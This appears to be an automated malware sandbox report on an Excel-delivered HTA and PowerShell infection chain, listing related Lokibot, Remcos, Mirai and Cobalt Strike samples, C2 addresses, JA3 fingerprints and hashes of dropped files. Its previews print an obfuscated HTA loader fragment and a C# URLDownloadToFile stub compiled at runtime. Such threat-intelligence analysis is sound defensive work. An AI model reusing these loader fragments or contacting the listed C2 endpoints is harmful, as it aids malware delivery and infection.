	SOA October 24_1.doc	Get hash	malicious	Lokibot	Browse	94.156.177.220/skipo/five/fre.php
	17296631442c81ba7f9716fbc1aab98d3cbe332f196a0c4ba623a6879e4902adfc5aa38233992.dat-decoded.exe	Get hash	malicious	Lokibot	Browse	94.156.177.220/logs/five/fre.php
	New Order.exe	Get hash	malicious	Lokibot	Browse	94.156.177.220/skipo/five/fre.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	A & C Metrology OC 5457144.xls	Get hash	malicious	Unknown	Browse	192.210.215.8
	#PO247762.docx	Get hash	malicious	Remcos	Browse	104.168.7.51
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	192.3.165.37
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	107.175.231.193
	Logs.xls	Get hash	malicious	Lokibot	Browse	192.3.176.141
	PRODUCT_INQUIRY.js	Get hash	malicious	WSHRat	Browse	192.210.215.11
	Inv No.248740.xls	Get hash	malicious	Unknown	Browse	107.175.229.138
	InvoiceXCopy.xls	Get hash	malicious	Snake Keylogger	Browse	172.245.123.45
	seethebestthingstobegetmebackwithherlove.hta	Get hash	malicious	Cobalt Strike	Browse	23.94.171.157
	necgoodthingswithgreatthingsentirethingstobeinonline.hta	Get hash	malicious	Cobalt Strike	Browse	107.173.4.9
TLN-ASDE	zDAH4anUtC.elf	Get hash	malicious	Unknown	Browse	5.159.88.227
	x86.elf	Get hash	malicious	Unknown	Browse	5.159.88.221
	arm7.elf	Get hash	malicious	Mirai	Browse	5.159.88.226
	hR6s75mYfS.elf	Get hash	malicious	Mirai	Browse	5.159.88.234
	sora.x86.elf	Get hash	malicious	Mirai	Browse	5.159.88.221
	zMtlCW3JE2.exe	Get hash	malicious	Unknown	Browse	5.159.57.195
	x86.elf	Get hash	malicious	Mirai	Browse	5.159.88.220
	TV9gyhWdj9.elf	Get hash	malicious	Mirai	Browse	5.159.88.230
	gWG8IWTQvp.elf	Get hash	malicious	Mirai	Browse	5.159.88.202
	fU0e51cFa3	Get hash	malicious	Mirai	Browse	5.159.88.207
TLN-ASDE	zDAH4anUtC.elf	Get hash	malicious	Unknown	Browse	5.159.88.227
	x86.elf	Get hash	malicious	Unknown	Browse	5.159.88.221
	arm7.elf	Get hash	malicious	Mirai	Browse	5.159.88.226
	hR6s75mYfS.elf	Get hash	malicious	Mirai	Browse	5.159.88.234
	sora.x86.elf	Get hash	malicious	Mirai	Browse	5.159.88.221
	zMtlCW3JE2.exe	Get hash	malicious	Unknown	Browse	5.159.57.195
	x86.elf	Get hash	malicious	Mirai	Browse	5.159.88.220
	TV9gyhWdj9.elf	Get hash	malicious	Mirai	Browse	5.159.88.230
	gWG8IWTQvp.elf	Get hash	malicious	Mirai	Browse	5.159.88.202
	fU0e51cFa3	Get hash	malicious	Mirai	Browse	5.159.88.207
NET1-ASBG	Logs.xls	Get hash	malicious	Lokibot	Browse	94.156.177.220
	SOA October 24_1.doc	Get hash	malicious	Lokibot	Browse	94.156.177.220
	17296631442c81ba7f9716fbc1aab98d3cbe332f196a0c4ba623a6879e4902adfc5aa38233992.dat-decoded.exe	Get hash	malicious	Lokibot	Browse	94.156.177.220
	hZ6ZMDS1rc.exe	Get hash	malicious	AsyncRAT	Browse	93.123.39.76
	New Order.exe	Get hash	malicious	Lokibot	Browse	94.156.177.220
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	93.123.85.38
	boatnet.spc.elf	Get hash	malicious	Mirai	Browse	93.123.85.38
	boatnet.m68k.elf	Get hash	malicious	Mirai	Browse	93.123.85.38
	boatnet.ppc.elf	Get hash	malicious	Mirai	Browse	93.123.85.38
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	93.123.85.38

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	A & C Metrology OC 5457144.xls	Get hash	malicious	Unknown	Browse	142.250.186.142 216.58.212.174 142.250.186.97
	#PO247762.docx	Get hash	malicious	Remcos	Browse	142.250.186.142 216.58.212.174 142.250.186.97
	PO NAHK22012FA000000.docx	Get hash	malicious	Unknown	Browse	142.250.186.142 216.58.212.174 142.250.186.97
	PO NAHK22012FA00000.docx.doc	Get hash	malicious	Remcos	Browse	142.250.186.142 216.58.212.174 142.250.186.97
	Logs.xls	Get hash	malicious	Lokibot	Browse	142.250.186.142 216.58.212.174 142.250.186.97
	InvoiceXCopy.xls	Get hash	malicious	Snake Keylogger	Browse	142.250.186.142 216.58.212.174 142.250.186.97
	CLOSURE.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.186.142 216.58.212.174 142.250.186.97
	oodforme.doc	Get hash	malicious	Remcos	Browse	142.250.186.142 216.58.212.174 142.250.186.97
	EX0096959.docx.doc	Get hash	malicious	Remcos	Browse	142.250.186.142 216.58.212.174 142.250.186.97
	SGS-Report0201024.xla.xlsx	Get hash	malicious	FormBook	Browse	142.250.186.142 216.58.212.174 142.250.186.97
7dcce5b76c8b17472d024758970a406b	A & C Metrology OC 5457144.xls	Get hash	malicious	Unknown	Browse	5.159.62.244 5.159.62.243
	#PO247762.docx	Get hash	malicious	Remcos	Browse	5.159.62.244 5.159.62.243
	PO NAHK22012FA000000.docx	Get hash	malicious	Unknown	Browse	5.159.62.244 5.159.62.243
	PO NAHK22012FA00000.docx.doc	Get hash	malicious	Remcos	Browse	5.159.62.244 5.159.62.243
	Logs.xls	Get hash	malicious	Lokibot	Browse	5.159.62.244 5.159.62.243
	Inv No.248740.xls	Get hash	malicious	Unknown	Browse	5.159.62.244 5.159.62.243
	InvoiceXCopy.xls	Get hash	malicious	Snake Keylogger	Browse	5.159.62.244 5.159.62.243
	EX0096959.docx.doc	Get hash	malicious	Remcos	Browse	5.159.62.244 5.159.62.243
	Inv No.248730.xls	Get hash	malicious	Unknown	Browse	5.159.62.244 5.159.62.243
	Oct2024TU-580.xls	Get hash	malicious	Unknown	Browse	5.159.62.244 5.159.62.243

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4742
Entropy (8bit):	4.8105940880640246
Encrypted:	false
SSDEEP:	96:mCJ2Woe5Sgyg12jDs+un/iQLEYFjDaeWJ6KGcmXuFRLcU6/KI2k6Lm5emmXIG:Jxoe5+gkjDt4iWN3yBGH+dcU6CIVsm5D
MD5:	278C40A9A3B321CA9147FFBC6BE3A8A8
SHA1:	D795FC7D3249F9D924DC951DA1DB900D02496D73
SHA-256:	4EB0EAE13C3C67789AD8940555F31548A66F5031BF1A804E26EA6E303515259E
SHA-512:	E7222B41A436CE0BF8FA3D8E5EB8249D4D3985419D0F901F535375789F001B5929EF9B85C1D6802F0FBD5F722A52CB27021F87D076E69D92F46C7C3E894C6F00
Malicious:	false
Preview:	PSMODULECACHE.....8.......S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script............7...q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1m.......Remove-Variable........Convert-String........Trace-Command........Sort-Object........Register-Object

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethebestthingstobegoodwithhislifebestthigns[1].hta

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines (65520), with CRLF line terminators
Category:	modified
Size (bytes):	133636
Entropy (8bit):	2.5269830459558813
Encrypted:	false
SSDEEP:	96:Eam7QSo4DH5wo4DH5rtTRJP4srvjTKP4DH5Sr4DH5NFAb5UAf4DH5G7T:Ea2Rok0RLknYoVT
MD5:	0B1AA8AE190D05DF71F4052FAE67DF5B
SHA1:	F6FE29F3E7830B15E3B244BA83216C029DCB60FB
SHA-256:	4E15EAB180712F99EFE5EEA760BEEA458C7BFC4EEB5F5961B2B5D0C9B7611D3D
SHA-512:	94008A8BF00A1334C16129258243BF89D8351C82EDE845FEFDB657838FE2F602F761B9935E5FEF5E01B368096993F49A48E65D3705CEA948D9435DB0DF370A04
Malicious:	true
Preview:	<script>.. ..document.write(unescape("%3Cscript%20language%3DJavaScript%3Em%3D%27%253Cscript%2520language%253DJavaScript%253Em%253D%2527%25253C%252521DOCTYPE%252520html%25253E%25250A%25253Cmeta%252520http-equiv%25253D%252522X-UA-Compatible%252522%252520content%25253D%252522IE%25253DEmulateIE8%252522%252520%25253E%25250A%25253Chtml%25253E%25250A%25253Cbody%25253E%25250A%25253CscRiPT%252520TYpE%25253D%252522TexT/vBscrIpt%252522%25253E%25250ADiM%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%252509%2525

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\goodthingswithgreatcomebackwithgreatthigns[1].tiff

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	139890
Entropy (8bit):	3.6923510936476616
Encrypted:	false
SSDEEP:	3072:vybNgt5pdGwoO4TxQQYQt2Cwvo6buGauOmM:0DNlYTdvo6TauOx
MD5:	52A69AB69D1C871566791A3C06982607
SHA1:	367845C8B76D602680EE6069F3BDE95E02C350D9
SHA-256:	4F6090A3D6A848AE3EF2310CACA02976FE8448FC21CBE357F4A28A88F34EAD28
SHA-512:	681B60151EF27726F8B4C9C0949A8962FA8B16FE3583BA5EE4019831B6AC2AD5BF2562DA0E8FC55CDEC4CB10C59A608896B9BE98BEDD1A8BBDE43B711EE2E0C2
Malicious:	false
Preview:	..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .C.r.e.a.t.e.S.e.s.s.i.o.n.(.w.s.m.a.n.,. .c.o.n.S.t.r.,. .o.p.t.D.i.c.,. .e.s.t.a.m.b.r.e.i.r.o.)..... . . . .d.i.m. .a.p.o.u.c.a.d.o.F.l.a.g.s..... . . . .d.i.m. .c.o.n.O.p.t. ..... . . . .d.i.m. .a.p.o.u.c.a.d.o..... . . . .d.i.m. .a.u.t.h.V.a.l..... . . . .d.i.m. .e.n.c.o.d.i.n.g.V.a.l..... . . . .d.i.m. .e.n.c.r.y.p.t.V.a.l..... . . . .d.i.m. .p.w..... . . . .d.i.m. .t.o.u.t..... . . . .'. .p.r.o.x.y. .i.n.f.o.r.m.a.t.i.o.n..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m.V.a.l..... . . . .d.i.m. .p.r.o.x.y.U.s.e.r.n.a.m.e..... . . . .d.i.m. .p.r.o.x.y.P.a.s.s.w.o.r.d..... . . . . ..... . . . .a.p.o.u.c.a.d.o.F.l.a.g.s. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l. .=. .0..... . . .

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3C3140CD.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	172076
Entropy (8bit):	3.1342558498505824
Encrypted:	false
SSDEEP:	1536:7DqEuvAIid/aQGb1BfUErpxTORWEl+tIL22EZCd:iEuWd/adDrvTUP22Bd
MD5:	D85DAC1376E45C58F790BD50C2729F6C
SHA1:	5BD339C54A944689935652E4A1CC78961EB19589
SHA-256:	CE5CF5334F2BF26B0B3F4B135B2BEA9126CB29DD1C5BED1F558FAA2BFE4C8E48
SHA-512:	6B864B3E47331C5C37376B1F9ED7FE1F8D48BE27438DE9C4D7BA3B3ED6ED3F319425E8D696B51C7969AD3C10A7285D7212E59FDDAC8385BCD992A03EF189789A
Malicious:	false
Preview:	....l..............................eQ.. EMF....,.......$...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.......................%...........................................................L...d...........T...)..............."...!..............?...........?................................'.......................%...................................&...........................%.......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A3B4F527.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	172076
Entropy (8bit):	3.1342558498505824
Encrypted:	false
SSDEEP:	1536:7DqEuvAIid/aQGb1BfUErpxTORWEl+tIL22EZCd:iEuWd/adDrvTUP22Bd
MD5:	D85DAC1376E45C58F790BD50C2729F6C
SHA1:	5BD339C54A944689935652E4A1CC78961EB19589
SHA-256:	CE5CF5334F2BF26B0B3F4B135B2BEA9126CB29DD1C5BED1F558FAA2BFE4C8E48
SHA-512:	6B864B3E47331C5C37376B1F9ED7FE1F8D48BE27438DE9C4D7BA3B3ED6ED3F319425E8D696B51C7969AD3C10A7285D7212E59FDDAC8385BCD992A03EF189789A
Malicious:	false
Preview:	....l..............................eQ.. EMF....,.......$...................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!......................................................."...........!......................................................."...........!......................................................."...........!......................................................."...........!.......................................................'.......................%...........................................................L...d...........T...)..............."...!..............?...........?................................'.......................%...................................&...........................%.......

C:\Users\user\AppData\Local\Temp\0kghrs1a.fgj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\14qy4tzd.pbk.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\1yj1uz5t.cmk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (351)
Category:	dropped
Size (bytes):	469
Entropy (8bit):	3.7537928868168384
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuly0NIMmFB7QXReKJ8SRHy4H6xr8MCLJWxWJWKy:V/DTLDfuldcWXfH1MeGOWKy
MD5:	DE4A3E7070E220B427D460A803BF2B1B
SHA1:	F59C55466008CA3D557CC114C01395BA724A3A32
SHA-256:	0652DA0455490EAF890DDCBC122A763D5F4031A9B2825D514D105BD8EA142EAE
SHA-512:	AFED9FF23E8F788D80F409856741BC68E985EB0092412F91E709D917FC37EA47E43B2560313195E5C0F8FACC6232DDD74E5CA38C66D16AF31D5F7B4984999B85
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace rpwYIiFsex.{. public class niee. {. [DllImport("Urlmon.dLL", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr RhPAWaU,string ZHOGcU,string Qo,uint lshbPHts,IntPtr j);.. }..}.

C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.286924617797865
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23fJ3Uzxs7+AEszIP23fJhn:p37Lvkmb6KzBkWZEoBh
MD5:	5127765E52BE89F42E88EE541EA2DA17
SHA1:	4D73DCF332A76B6FAB5361F663E132DA178F5027
SHA-256:	A4FF7DBE70698FFF76604604D30792DB6AF0821B52C2E4B30102A446D28613E0
SHA-512:	CB9C6D39C511ED71676D09A55D42EADAAA6CA168EC0ED1897661B35535651C1489F1846A39E7C2DDED1E8BB3724B7AEC662543AFD7C5E5494E3D8FFA28FDC336
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.0.cs"

C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	2.820207680412466
Encrypted:	false
SSDEEP:	24:etGSXPBG5eM7p8mqBk+lTzz3tkZfV46qhkWI+ycuZhNtakS7PNnq:6QsM+mAXKJVXEH1ulta3xq
MD5:	D38194577D9309BB5A0F573F737A6DFF
SHA1:	B69E5216B799FBD41F66955C51B34CBAA8EC176E
SHA-256:	EB7B7B2B9E7F1A7593A991F3B3BA53AAC053BE41304CE24E7DB889B17CBE65F4
SHA-512:	EED8A9D778BD79E6A48CA3E12544537EC17E41224FB6992213D1CA2A462BC90DED92F63C50CDF628B7ECBE068196B27B3732CB8004F57708EDECD48CEB622E36
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g...........!.................#... ...@....... ....................................@.................................X#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ................................................................(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID.......L...#Blob...........G.........%3............................................................7.0.....s.....s.......................................... >.....P ......P.........V.....^.....e.....h.....q...P.....P...!.P.....P.......!............>.......................................'..........<Module>.41

C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.364415071071309
Encrypted:	false
SSDEEP:	24:AId3ka6KzBFEoBEKaMD5DqBVKVrdFAMBJTH:Akka60BFEoBEKdDcVKdBJj
MD5:	BBB163F7CB67B7F5F4D526F8D3634EA8
SHA1:	134D938CC48CF9D2524B96864D2A6B8174853800
SHA-256:	B3C6014D44F22B76E0DF6710C307181AE57161C99608DB2141E2E72C5A200E13
SHA-512:	D0D8D89809099C5E467B9391A3563FF1AB59DB2CD7A7FE44EADC5547192C38E2B95A78B1659F47BF2B0B4991ED406EA978461CD91C5B8016BF39A5A7AC340789
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.3761.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\41k31je4\CSC1CC2DACCE81D4F99A1AD504B85F71256.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.115151898562488
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryvak7Ynqq7PN5Dlq5J:+RI+ycuZhNtakS7PNnqX
MD5:	DB4FCFC97F114BDCF1407398C200861D
SHA1:	8B61E13F4C25364FE0474C16A40D53767975E822
SHA-256:	3EF16C2044ACA9ABEF9C394BC877A56BCCB9718F27288A37C45B188D7A66BD60
SHA-512:	5C8E5BEE3074D608C8F7CC8C14FBAFAE0A915B509E81963C333E55D6C11C143EC6FA6F547140692741BBAC5E9594746FF9EA12AD0F1EECAD2ACBA3832A6AEE08
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...4.1.k.3.1.j.e.4...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...4.1.k.3.1.j.e.4...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\42duy5lj.1qs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\4m2igvns.wzt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\4pjehiio.eic.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\4y5xw0px.xzh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\RES4A69.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Thu Oct 24 06:45:32 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.9959214282105915
Encrypted:	false
SSDEEP:	24:Hle9E2UBNptdHLwKdNWI+ycuZhNtakS7PNnqSqd:ZBNJcKd41ulta3xqSK
MD5:	FFB43510EE1F8FF21902003152DD827E
SHA1:	9FCF4BA4124EFD1D18D1F17EB8599BB409AE75EF
SHA-256:	C4233C5A6C6C91F0F69C7EF26D9398B1FF4C78FDF5DD34ED22F2F5970A2130BF
SHA-512:	C3356610F480B3AECAF421CD5470D9D6AFE52E0833340FE18E7DCD0243CBB7039850AA64D6FBB53F00751AC87538378BD4652829564ECFE321D7A842EB32A5C5
Malicious:	false
